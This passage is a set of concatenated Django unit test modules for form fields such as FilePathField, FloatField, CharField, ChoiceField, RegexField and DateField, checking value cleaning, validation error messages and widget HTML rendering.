        value = field.clean('')
        self.assertIsNone(value)

    def test_uuidfield_3(self):
        field = UUIDField()
        with self.assertRaises(ValidationError) as cm:
            field.clean('550e8400')
        self.assertEqual(cm.exception.messages[0], 'Enter a valid UUID.')

    def test_uuidfield_4(self):
        field = UUIDField()
        value = field.prepare_value(uuid.UUID('550e8400e29b41d4a716446655440000'))
        self.assertEqual(value, '550e8400e29b41d4a716446655440000')






from __future__ import unicode_literals

import os.path

from django.forms import FilePathField, ValidationError, forms
from django.test import SimpleTestCase
from django.utils import six
from django.utils._os import upath


def fix_os_paths(x):
    if isinstance(x, six.string_types):
        return x.replace('\\', '/')
    elif isinstance(x, tuple):
        return tuple(fix_os_paths(list(x)))
    elif isinstance(x, list):
        return [fix_os_paths(y) for y in x]
    else:
        return x


class FilePathFieldTest(SimpleTestCase):

    def test_filepathfield_1(self):
        path = os.path.abspath(upath(forms.__file__))
        path = os.path.dirname(path) + '/'
        self.assertTrue(fix_os_paths(path).endswith('/django/forms/'))

    def test_filepathfield_2(self):
        path = upath(forms.__file__)
        path = os.path.dirname(os.path.abspath(path)) + '/'
        f = FilePathField(path=path)
        f.choices = [p for p in f.choices if p[0].endswith('.py')]
        f.choices.sort()
        expected = [
            ('/django/forms/__init__.py', '__init__.py'),
            ('/django/forms/boundfield.py', 'boundfield.py'),
            ('/django/forms/fields.py', 'fields.py'),
            ('/django/forms/forms.py', 'forms.py'),
            ('/django/forms/formsets.py', 'formsets.py'),
            ('/django/forms/models.py', 'models.py'),
            ('/django/forms/utils.py', 'utils.py'),
            ('/django/forms/widgets.py', 'widgets.py')
        ]
        for exp, got in zip(expected, fix_os_paths(f.choices)):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))
        msg = "'Select a valid choice. fields.py is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('fields.py')
        self.assertTrue(fix_os_paths(f.clean(path + 'fields.py')).endswith('/django/forms/fields.py'))

    def test_filepathfield_3(self):
        path = upath(forms.__file__)
        path = os.path.dirname(os.path.abspath(path)) + '/'
        f = FilePathField(path=path, match='^.*?\.py$')
        f.choices.sort()
        expected = [
            ('/django/forms/__init__.py', '__init__.py'),
            ('/django/forms/boundfield.py', 'boundfield.py'),
            ('/django/forms/fields.py', 'fields.py'),
            ('/django/forms/forms.py', 'forms.py'),
            ('/django/forms/formsets.py', 'formsets.py'),
            ('/django/forms/models.py', 'models.py'),
            ('/django/forms/utils.py', 'utils.py'),
            ('/django/forms/widgets.py', 'widgets.py')
        ]
        for exp, got in zip(expected, fix_os_paths(f.choices)):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))

    def test_filepathfield_4(self):
        path = os.path.abspath(upath(forms.__file__))
        path = os.path.dirname(path) + '/'
        f = FilePathField(path=path, recursive=True, match='^.*?\.py$')
        f.choices.sort()
        expected = [
            ('/django/forms/__init__.py', '__init__.py'),
            ('/django/forms/boundfield.py', 'boundfield.py'),
            ('/django/forms/extras/__init__.py', 'extras/__init__.py'),
            ('/django/forms/extras/widgets.py', 'extras/widgets.py'),
            ('/django/forms/fields.py', 'fields.py'),
            ('/django/forms/forms.py', 'forms.py'),
            ('/django/forms/formsets.py', 'formsets.py'),
            ('/django/forms/models.py', 'models.py'),
            ('/django/forms/utils.py', 'utils.py'),
            ('/django/forms/widgets.py', 'widgets.py')
        ]
        for exp, got in zip(expected, fix_os_paths(f.choices)):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))

    def test_filepathfield_folders(self):
        path = os.path.abspath(os.path.join(upath(__file__), '..', '..')) + '/tests/filepath_test_files/'
        f = FilePathField(path=path, allow_folders=True, allow_files=False)
        f.choices.sort()
        expected = [
            ('/forms_tests/tests/filepath_test_files/directory', 'directory'),
        ]
        actual = fix_os_paths(f.choices)
        self.assertEqual(len(expected), len(actual))
        for exp, got in zip(expected, actual):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))

        f = FilePathField(path=path, allow_folders=True, allow_files=True)
        f.choices.sort()
        expected = [
            ('/forms_tests/tests/filepath_test_files/.dot-file', '.dot-file'),
            ('/forms_tests/tests/filepath_test_files/1x1.bmp', '1x1.bmp'),
            ('/forms_tests/tests/filepath_test_files/1x1.png', '1x1.png'),
            ('/forms_tests/tests/filepath_test_files/directory', 'directory'),
            ('/forms_tests/tests/filepath_test_files/fake-image.jpg', 'fake-image.jpg'),
            ('/forms_tests/tests/filepath_test_files/real-text-file.txt', 'real-text-file.txt'),
        ]

        actual = fix_os_paths(f.choices)
        self.assertEqual(len(expected), len(actual))
        for exp, got in zip(expected, actual):
            self.assertEqual(exp[1], got[1])
            self.assertTrue(got[0].endswith(exp[0]))






from django import forms


class FormFieldAssertionsMixin(object):

    def assertWidgetRendersTo(self, field, to):
        class Form(forms.Form):
            f = field
        self.assertHTMLEqual(str(Form()['f']), to)






from __future__ import unicode_literals

from django.forms import FloatField, NumberInput, ValidationError
from django.test import SimpleTestCase
from django.utils import formats, translation

from . import FormFieldAssertionsMixin


class FloatFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_floatfield_1(self):
        f = FloatField()
        self.assertWidgetRendersTo(f, '<input step="any" type="number" name="f" id="id_f" required />')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual(1.0, f.clean('1'))
        self.assertIsInstance(f.clean('1'), float)
        self.assertEqual(23.0, f.clean('23'))
        self.assertEqual(3.1400000000000001, f.clean('3.14'))
        self.assertEqual(3.1400000000000001, f.clean(3.14))
        self.assertEqual(42.0, f.clean(42))
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('a')
        self.assertEqual(1.0, f.clean('1.0 '))
        self.assertEqual(1.0, f.clean(' 1.0'))
        self.assertEqual(1.0, f.clean(' 1.0 '))
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('1.0a')
        self.assertIsNone(f.max_value)
        self.assertIsNone(f.min_value)
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('Infinity')
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('NaN')
        with self.assertRaisesMessage(ValidationError, "'Enter a number.'"):
            f.clean('-Inf')

    def test_floatfield_2(self):
        f = FloatField(required=False)
        self.assertIsNone(f.clean(''))
        self.assertIsNone(f.clean(None))
        self.assertEqual(1.0, f.clean('1'))
        self.assertIsNone(f.max_value)
        self.assertIsNone(f.min_value)

    def test_floatfield_3(self):
        f = FloatField(max_value=1.5, min_value=0.5)
        self.assertWidgetRendersTo(
            f,
            '<input step="any" name="f" min="0.5" max="1.5" type="number" id="id_f" required />',
        )
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is less than or equal to 1.5.'"):
            f.clean('1.6')
        with self.assertRaisesMessage(ValidationError, "'Ensure this value is greater than or equal to 0.5.'"):
            f.clean('0.4')
        self.assertEqual(1.5, f.clean('1.5'))
        self.assertEqual(0.5, f.clean('0.5'))
        self.assertEqual(f.max_value, 1.5)
        self.assertEqual(f.min_value, 0.5)

    def test_floatfield_widget_attrs(self):
        f = FloatField(widget=NumberInput(attrs={'step': 0.01, 'max': 1.0, 'min': 0.0}))
        self.assertWidgetRendersTo(
            f,
            '<input step="0.01" name="f" min="0.0" max="1.0" type="number" id="id_f" required />',
        )

    def test_floatfield_localized(self):
        """
        A localized FloatField's widget renders to a text input without any
        number input specific attributes.
        """
        f = FloatField(localize=True)
        self.assertWidgetRendersTo(f, '<input id="id_f" name="f" type="text" required />')

    def test_floatfield_changed(self):
        f = FloatField()
        n = 4.35
        self.assertFalse(f.has_changed(n, '4.3500'))

        with translation.override('fr'), self.settings(USE_L10N=True):
            f = FloatField(localize=True)
            localized_n = formats.localize_input(n)  # -> '4,35' in French
            self.assertFalse(f.has_changed(n, localized_n))






from __future__ import unicode_literals

from django.forms import (
    CharField, HiddenInput, PasswordInput, Textarea, TextInput,
    ValidationError,
)
from django.test import SimpleTestCase

from . import FormFieldAssertionsMixin


class CharFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_charfield_1(self):
        f = CharField()
        self.assertEqual('1', f.clean(1))
        self.assertEqual('hello', f.clean('hello'))
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        self.assertEqual('[1, 2, 3]', f.clean([1, 2, 3]))
        self.assertIsNone(f.max_length)
        self.assertIsNone(f.min_length)

    def test_charfield_2(self):
        f = CharField(required=False)
        self.assertEqual('1', f.clean(1))
        self.assertEqual('hello', f.clean('hello'))
        self.assertEqual('', f.clean(None))
        self.assertEqual('', f.clean(''))
        self.assertEqual('[1, 2, 3]', f.clean([1, 2, 3]))
        self.assertIsNone(f.max_length)
        self.assertIsNone(f.min_length)

    def test_charfield_3(self):
        f = CharField(max_length=10, required=False)
        self.assertEqual('12345', f.clean('12345'))
        self.assertEqual('1234567890', f.clean('1234567890'))
        msg = "'Ensure this value has at most 10 characters (it has 11).'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('1234567890a')
        self.assertEqual(f.max_length, 10)
        self.assertIsNone(f.min_length)

    def test_charfield_4(self):
        f = CharField(min_length=10, required=False)
        self.assertEqual('', f.clean(''))
        msg = "'Ensure this value has at least 10 characters (it has 5).'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('12345')
        self.assertEqual('1234567890', f.clean('1234567890'))
        self.assertEqual('1234567890a', f.clean('1234567890a'))
        self.assertIsNone(f.max_length)
        self.assertEqual(f.min_length, 10)

    def test_charfield_5(self):
        f = CharField(min_length=10, required=True)
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        msg = "'Ensure this value has at least 10 characters (it has 5).'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('12345')
        self.assertEqual('1234567890', f.clean('1234567890'))
        self.assertEqual('1234567890a', f.clean('1234567890a'))
        self.assertIsNone(f.max_length)
        self.assertEqual(f.min_length, 10)

    def test_charfield_length_not_int(self):
        """
        Setting min_length or max_length to something that is not a number
        raises an exception.
        """
        with self.assertRaises(ValueError):
            CharField(min_length='a')
        with self.assertRaises(ValueError):
            CharField(max_length='a')
        with self.assertRaises(ValueError):
            CharField('a')

    def test_charfield_widget_attrs(self):
        """
        CharField.widget_attrs() always returns a dictionary and includes
        minlength/maxlength if min_length/max_length are defined on the field
        and the widget is not hidden.
        """
        # Return an empty dictionary if max_length and min_length are both None.
        f = CharField()
        self.assertEqual(f.widget_attrs(TextInput()), {})
        self.assertEqual(f.widget_attrs(Textarea()), {})

        # Return a maxlength attribute equal to max_length.
        f = CharField(max_length=10)
        self.assertEqual(f.widget_attrs(TextInput()), {'maxlength': '10'})
        self.assertEqual(f.widget_attrs(PasswordInput()), {'maxlength': '10'})
        self.assertEqual(f.widget_attrs(Textarea()), {'maxlength': '10'})

        # Return a minlength attribute equal to min_length.
        f = CharField(min_length=5)
        self.assertEqual(f.widget_attrs(TextInput()), {'minlength': '5'})
        self.assertEqual(f.widget_attrs(PasswordInput()), {'minlength': '5'})
        self.assertEqual(f.widget_attrs(Textarea()), {'minlength': '5'})

        # Return both maxlength and minlength when both max_length and
        # min_length are set.
        f = CharField(max_length=10, min_length=5)
        self.assertEqual(f.widget_attrs(TextInput()), {'maxlength': '10', 'minlength': '5'})
        self.assertEqual(f.widget_attrs(PasswordInput()), {'maxlength': '10', 'minlength': '5'})
        self.assertEqual(f.widget_attrs(Textarea()), {'maxlength': '10', 'minlength': '5'})
        self.assertEqual(f.widget_attrs(HiddenInput()), {})

    def test_charfield_strip(self):
        """
        Values have whitespace stripped but not if strip=False.
        """
        f = CharField()
        self.assertEqual(f.clean(' 1'), '1')
        self.assertEqual(f.clean('1 '), '1')

        f = CharField(strip=False)
        self.assertEqual(f.clean(' 1'), ' 1')
        self.assertEqual(f.clean('1 '), '1 ')

    def test_charfield_disabled(self):
        f = CharField(disabled=True)
        self.assertWidgetRendersTo(f, '<input type="text" name="f" id="id_f" disabled required />')






from __future__ import unicode_literals

import decimal

from django.forms import TypedChoiceField, ValidationError
from django.test import SimpleTestCase
from django.utils import six


class TypedChoiceFieldTest(SimpleTestCase):

    def test_typedchoicefield_1(self):
        f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int)
        self.assertEqual(1, f.clean('1'))
        msg = "'Select a valid choice. 2 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('2')

    def test_typedchoicefield_2(self):
        # Different coercion, same validation.
        f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=float)
        self.assertEqual(1.0, f.clean('1'))

    def test_typedchoicefield_3(self):
        # This can also cause weirdness: be careful (bool(-1) == True, remember)
        f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=bool)
        self.assertTrue(f.clean('-1'))

    def test_typedchoicefield_4(self):
        # Even more weirdness: if you have a valid choice but your coercion function
        # can't coerce, you'll still get a validation error. Don't do this!
        f = TypedChoiceField(choices=[('A', 'A'), ('B', 'B')], coerce=int)
        msg = "'Select a valid choice. B is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('B')
        # Required fields require values
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')

    def test_typedchoicefield_5(self):
        # Non-required fields aren't required
        f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False)
        self.assertEqual('', f.clean(''))
        # If you want cleaning an empty value to return a different type, tell the field

    def test_typedchoicefield_6(self):
        f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=False, empty_value=None)
        self.assertIsNone(f.clean(''))

    def test_typedchoicefield_has_changed(self):
        # has_changed should not trigger required validation
        f = TypedChoiceField(choices=[(1, "+1"), (-1, "-1")], coerce=int, required=True)
        self.assertFalse(f.has_changed(None, ''))
        self.assertFalse(f.has_changed(1, '1'))
        self.assertFalse(f.has_changed('1', '1'))

        f = TypedChoiceField(
            choices=[('', '---------'), ('a', "a"), ('b', "b")], coerce=six.text_type,
            required=False, initial=None, empty_value=None,
        )
        self.assertFalse(f.has_changed(None, ''))
        self.assertTrue(f.has_changed('', 'a'))
        self.assertFalse(f.has_changed('a', 'a'))

    def test_typedchoicefield_special_coerce(self):
        """
        A coerce function which results in a value not present in choices
        should raise an appropriate error (#21397).
        """
        def coerce_func(val):
            return decimal.Decimal('1.%s' % val)

        f = TypedChoiceField(choices=[(1, "1"), (2, "2")], coerce=coerce_func, required=True)
        self.assertEqual(decimal.Decimal('1.2'), f.clean('2'))
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        msg = "'Select a valid choice. 3 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('3')






from __future__ import unicode_literals

import datetime

from django.forms import DurationField
from django.test import SimpleTestCase
from django.utils.duration import duration_string

from . import FormFieldAssertionsMixin


class DurationFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_durationfield_clean(self):
        f = DurationField()
        self.assertEqual(datetime.timedelta(seconds=30), f.clean('30'))
        self.assertEqual(datetime.timedelta(minutes=15, seconds=30), f.clean('15:30'))
        self.assertEqual(datetime.timedelta(hours=1, minutes=15, seconds=30), f.clean('1:15:30'))
        self.assertEqual(
            datetime.timedelta(days=1, hours=1, minutes=15, seconds=30, milliseconds=300),
            f.clean('1 1:15:30.3')
        )

    def test_durationfield_render(self):
        self.assertWidgetRendersTo(
            DurationField(initial=datetime.timedelta(hours=1)),
            '<input id="id_f" type="text" name="f" value="01:00:00" required>',
        )

    def test_durationfield_integer_value(self):
        f = DurationField()
        self.assertEqual(datetime.timedelta(0, 10800), f.clean(10800))

    def test_durationfield_prepare_value(self):
        field = DurationField()
        td = datetime.timedelta(minutes=15, seconds=30)
        self.assertEqual(field.prepare_value(td), duration_string(td))
        self.assertEqual(field.prepare_value('arbitrary'), 'arbitrary')
        self.assertIsNone(field.prepare_value(None))






from __future__ import unicode_literals

from django.forms import ChoiceField, Form, ValidationError
from django.test import SimpleTestCase

from . import FormFieldAssertionsMixin


class ChoiceFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_choicefield_1(self):
        f = ChoiceField(choices=[('1', 'One'), ('2', 'Two')])
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)
        self.assertEqual('1', f.clean(1))
        self.assertEqual('1', f.clean('1'))
        msg = "'Select a valid choice. 3 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('3')

    def test_choicefield_2(self):
        f = ChoiceField(choices=[('1', 'One'), ('2', 'Two')], required=False)
        self.assertEqual('', f.clean(''))
        self.assertEqual('', f.clean(None))
        self.assertEqual('1', f.clean(1))
        self.assertEqual('1', f.clean('1'))
        msg = "'Select a valid choice. 3 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('3')

    def test_choicefield_3(self):
        f = ChoiceField(choices=[('J', 'John'), ('P', 'Paul')])
        self.assertEqual('J', f.clean('J'))
        msg = "'Select a valid choice. John is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('John')

    def test_choicefield_4(self):
        f = ChoiceField(
            choices=[
                ('Numbers', (('1', 'One'), ('2', 'Two'))),
                ('Letters', (('3', 'A'), ('4', 'B'))), ('5', 'Other'),
            ]
        )
        self.assertEqual('1', f.clean(1))
        self.assertEqual('1', f.clean('1'))
        self.assertEqual('3', f.clean(3))
        self.assertEqual('3', f.clean('3'))
        self.assertEqual('5', f.clean(5))
        self.assertEqual('5', f.clean('5'))
        msg = "'Select a valid choice. 6 is not one of the available choices.'"
        with self.assertRaisesMessage(ValidationError, msg):
            f.clean('6')

    def test_choicefield_callable(self):
        def choices():
            return [('J', 'John'), ('P', 'Paul')]
        f = ChoiceField(choices=choices)
        self.assertEqual('J', f.clean('J'))

    def test_choicefield_callable_may_evaluate_to_different_values(self):
        choices = []

        def choices_as_callable():
            return choices

        class ChoiceFieldForm(Form):
            choicefield = ChoiceField(choices=choices_as_callable)

        choices = [('J', 'John')]
        form = ChoiceFieldForm()
        self.assertEqual([('J', 'John')], list(form.fields['choicefield'].choices))

        choices = [('P', 'Paul')]
        form = ChoiceFieldForm()
        self.assertEqual([('P', 'Paul')], list(form.fields['choicefield'].choices))

    def test_choicefield_disabled(self):
        f = ChoiceField(choices=[('J', 'John'), ('P', 'Paul')], disabled=True)
        self.assertWidgetRendersTo(
            f,
            '<select id="id_f" name="f" disabled required><option value="J">John</option>'
            '<option value="P">Paul</option></select>'
        )






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import re

from django.forms import RegexField, ValidationError
from django.test import SimpleTestCase
from django.utils import six


class RegexFieldTest(SimpleTestCase):

    def test_regexfield_1(self):
        f = RegexField('^[0-9][A-F][0-9]$')
        self.assertEqual('2A2', f.clean('2A2'))
        self.assertEqual('3F3', f.clean('3F3'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean('3G3')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean(' 2A2')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean('2A2 ')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean('')

    def test_regexfield_2(self):
        f = RegexField('^[0-9][A-F][0-9]$', required=False)
        self.assertEqual('2A2', f.clean('2A2'))
        self.assertEqual('3F3', f.clean('3F3'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean('3G3')
        self.assertEqual('', f.clean(''))

    def test_regexfield_3(self):
        f = RegexField(re.compile('^[0-9][A-F][0-9]$'))
        self.assertEqual('2A2', f.clean('2A2'))
        self.assertEqual('3F3', f.clean('3F3'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean('3G3')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean(' 2A2')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean('2A2 ')

    def test_regexfield_4(self):
        f = RegexField('^[0-9]+$', min_length=5, max_length=10)
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at least 5 characters (it has 3).'"):
            f.clean('123')
        six.assertRaisesRegex(
            self, ValidationError,
            "'Ensure this value has at least 5 characters \(it has 3\)\.',"
            " u?'Enter a valid value\.'",
            f.clean, 'abc'
        )
        self.assertEqual('12345', f.clean('12345'))
        self.assertEqual('1234567890', f.clean('1234567890'))
        with self.assertRaisesMessage(ValidationError, "'Ensure this value has at most 10 characters (it has 11).'"):
            f.clean('12345678901')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean('12345a')

    def test_regexfield_unicode_characters(self):
        f = RegexField('^\w+$')
        self.assertEqual('éèøçÎÎ你好', f.clean('éèøçÎÎ你好'))

    def test_change_regex_after_init(self):
        f = RegexField('^[a-z]+$')
        f.regex = '^[0-9]+$'
        self.assertEqual('1234', f.clean('1234'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid value.'"):
            f.clean('abcd')






# -*- coding: utf-8 -*-
from datetime import date, datetime

from django.forms import (
    DateField, Form, HiddenInput, SelectDateWidget, ValidationError,
)
from django.test import SimpleTestCase, override_settings
from django.utils import translation


class GetDate(Form):
    mydate = DateField(widget=SelectDateWidget)


class DateFieldTest(SimpleTestCase):

    def test_form_field(self):
        a = GetDate({'mydate_month': '4', 'mydate_day': '1', 'mydate_year': '2008'})
        self.assertTrue(a.is_valid())
        self.assertEqual(a.cleaned_data['mydate'], date(2008, 4, 1))

        # As with any widget that implements get_value_from_datadict(), we must
        # accept the input from the "as_hidden" rendering as well.
        self.assertHTMLEqual(
            a['mydate'].as_hidden(),
            '<input type="hidden" name="mydate" value="2008-4-1" id="id_mydate" />',
        )

        b = GetDate({'mydate': '2008-4-1'})
        self.assertTrue(b.is_valid())
        self.assertEqual(b.cleaned_data['mydate'], date(2008, 4, 1))

        # Invalid dates shouldn't be allowed
        c = GetDate({'mydate_month': '2', 'mydate_day': '31', 'mydate_year': '2010'})
        self.assertFalse(c.is_valid())
        self.assertEqual(c.errors, {'mydate': ['Enter a valid date.']})

        # label tag is correctly associated with month dropdown
        d = GetDate({'mydate_month': '1', 'mydate_day': '1', 'mydate_year': '2010'})
        self.assertIn('<label for="id_mydate_month">', d.as_p())

    @override_settings(USE_L10N=True)
    @translation.override('nl')
    def test_l10n_date_changed(self):
        """
        DateField.has_changed() with SelectDateWidget works with a localized
        date format (#17165).
        """
        # With Field.show_hidden_initial=False
        b = GetDate({
            'mydate_year': '2008',
            'mydate_month': '4',
            'mydate_day': '1',
        }, initial={'mydate': date(2008, 4, 1)})
        self.assertFalse(b.has_changed())

        b = GetDate({
            'mydate_year': '2008',
            'mydate_month': '4',
            'mydate_day': '2',
        }, initial={'mydate': date(2008, 4, 1)})
        self.assertTrue(b.has_changed())

        # With Field.show_hidden_initial=True
        class GetDateShowHiddenInitial(Form):
            mydate = DateField(widget=SelectDateWidget, show_hidden_initial=True)

        b = GetDateShowHiddenInitial({
            'mydate_year': '2008',
            'mydate_month': '4',
            'mydate_day': '1',
            'initial-mydate': HiddenInput().format_value(date(2008, 4, 1)),
        }, initial={'mydate': date(2008, 4, 1)})
        self.assertFalse(b.has_changed())

        b = GetDateShowHiddenInitial({
            'mydate_year': '2008',
            'mydate_month': '4',
            'mydate_day': '22',
            'initial-mydate': HiddenInput().format_value(date(2008, 4, 1)),
        }, initial={'mydate': date(2008, 4, 1)})
        self.assertTrue(b.has_changed())

        b = GetDateShowHiddenInitial({
            'mydate_year': '2008',
            'mydate_month': '4',
            'mydate_day': '22',
            'initial-mydate': HiddenInput().format_value(date(2008, 4, 1)),
        }, initial={'mydate': date(2008, 4, 22)})
        self.assertTrue(b.has_changed())

        b = GetDateShowHiddenInitial({
            'mydate_year': '2008',
            'mydate_month': '4',
            'mydate_day': '22',
            'initial-mydate': HiddenInput().format_value(date(2008, 4, 22)),
        }, initial={'mydate': date(2008, 4, 1)})
        self.assertFalse(b.has_changed())

    @override_settings(USE_L10N=True)
    @translation.override('nl')
    def test_l10n_invalid_date_in(self):
        # Invalid dates shouldn't be allowed
        a = GetDate({'mydate_month': '2', 'mydate_day': '31', 'mydate_year': '2010'})
        self.assertFalse(a.is_valid())
        # 'Geef een geldige datum op.' = 'Enter a valid date.'
        self.assertEqual(a.errors, {'mydate': ['Geef een geldige datum op.']})

    @override_settings(USE_L10N=True)
    @translation.override('nl')
    def test_form_label_association(self):
        # label tag is correctly associated with first rendered dropdown
        a = GetDate({'mydate_month': '1', 'mydate_day': '1', 'mydate_year': '2010'})
        self.assertIn('<label for="id_mydate_day">', a.as_p())

    def test_datefield_1(self):
        f = DateField()
        self.assertEqual(date(2006, 10, 25), f.clean(date(2006, 10, 25)))
        self.assertEqual(date(2006, 10, 25), f.clean(datetime(2006, 10, 25, 14, 30)))
        self.assertEqual(date(2006, 10, 25), f.clean(datetime(2006, 10, 25, 14, 30, 59)))
        self.assertEqual(date(2006, 10, 25), f.clean(datetime(2006, 10, 25, 14, 30, 59, 200)))
        self.assertEqual(date(2006, 10, 25), f.clean('2006-10-25'))
        self.assertEqual(date(2006, 10, 25), f.clean('10/25/2006'))
        self.assertEqual(date(2006, 10, 25), f.clean('10/25/06'))
        self.assertEqual(date(2006, 10, 25), f.clean('Oct 25 2006'))
        self.assertEqual(date(2006, 10, 25), f.clean('October 25 2006'))
        self.assertEqual(date(2006, 10, 25), f.clean('October 25, 2006'))
        self.assertEqual(date(2006, 10, 25), f.clean('25 October 2006'))
        self.assertEqual(date(2006, 10, 25), f.clean('25 October, 2006'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('2006-4-31')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('200a-10-25')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('25/10/06')
        with self.assertRaisesMessage(ValidationError, "'This field is required.'"):
            f.clean(None)

    def test_datefield_2(self):
        f = DateField(required=False)
        self.assertIsNone(f.clean(None))
        self.assertEqual('None', repr(f.clean(None)))
        self.assertIsNone(f.clean(''))
        self.assertEqual('None', repr(f.clean('')))

    def test_datefield_3(self):
        f = DateField(input_formats=['%Y %m %d'])
        self.assertEqual(date(2006, 10, 25), f.clean(date(2006, 10, 25)))
        self.assertEqual(date(2006, 10, 25), f.clean(datetime(2006, 10, 25, 14, 30)))
        self.assertEqual(date(2006, 10, 25), f.clean('2006 10 25'))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('2006-10-25')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('10/25/2006')
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('10/25/06')

    def test_datefield_4(self):
        # Test whitespace stripping behavior (#5714)
        f = DateField()
        self.assertEqual(date(2006, 10, 25), f.clean(' 10/25/2006 '))
        self.assertEqual(date(2006, 10, 25), f.clean(' 10/25/06 '))
        self.assertEqual(date(2006, 10, 25), f.clean(' Oct 25   2006 '))
        self.assertEqual(date(2006, 10, 25), f.clean(' October  25 2006 '))
        self.assertEqual(date(2006, 10, 25), f.clean(' October 25, 2006 '))
        self.assertEqual(date(2006, 10, 25), f.clean(' 25 October 2006 '))
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('   ')

    def test_datefield_5(self):
        # Test null bytes (#18982)
        f = DateField()
        with self.assertRaisesMessage(ValidationError, "'Enter a valid date.'"):
            f.clean('a\x00b')

    def test_datefield_changed(self):
        format = '%d/%m/%Y'
        f = DateField(input_formats=[format])
        d = date(2007, 9, 17)
        self.assertFalse(f.has_changed(d, '17/09/2007'))

    def test_datefield_strptime(self):
        """field.strptime() doesn't raise a UnicodeEncodeError (#16123)"""
        f = DateField()
        try:
            f.strptime('31 мая 2011', '%d-%b-%y')
        except Exception as e:
            # assertIsInstance or assertRaises cannot be used because UnicodeEncodeError
            # is a subclass of ValueError
            self.assertEqual(e.__class__, ValueError)






from __future__ import unicode_literals

from django.forms import Form, HiddenInput, NullBooleanField, RadioSelect
from django.test import SimpleTestCase

from . import FormFieldAssertionsMixin


class NullBooleanFieldTest(FormFieldAssertionsMixin, SimpleTestCase):

    def test_nullbooleanfield_clean(self):
        f = NullBooleanField()
        self.assertIsNone(f.clean(''))
        self.assertTrue(f.clean(True))
        self.assertFalse(f.clean(False))
        self.assertIsNone(f.clean(None))
        self.assertFalse(f.clean('0'))
        self.assertTrue(f.clean('1'))
        self.assertIsNone(f.clean('2'))
        self.assertIsNone(f.clean('3'))
        self.assertIsNone(f.clean('hello'))
        self.assertTrue(f.clean('true'))
        self.assertFalse(f.clean('false'))

    def test_nullbooleanfield_2(self):
        # The internal value is preserved if using HiddenInput (#7753).
        class HiddenNullBooleanForm(Form):
            hidden_nullbool1 = NullBooleanField(widget=HiddenInput, initial=True)
            hidden_nullbool2 = NullBooleanField(widget=HiddenInput, initial=False)
        f = HiddenNullBooleanForm()
        self.assertHTMLEqual(
            '<input type="hidden" name="hidden_nullbool1" value="True" id="id_hidden_nullbool1" />'
            '<input type="hidden" name="hidden_nullbool2" value="False" id="id_hidden_nullbool2" />',
            str(f)
        )

    def test_nullbooleanfield_3(self):
        class HiddenNullBooleanForm(Form):
            hidden_nullbool1 = NullBooleanField(widget=HiddenInput, initial=True)
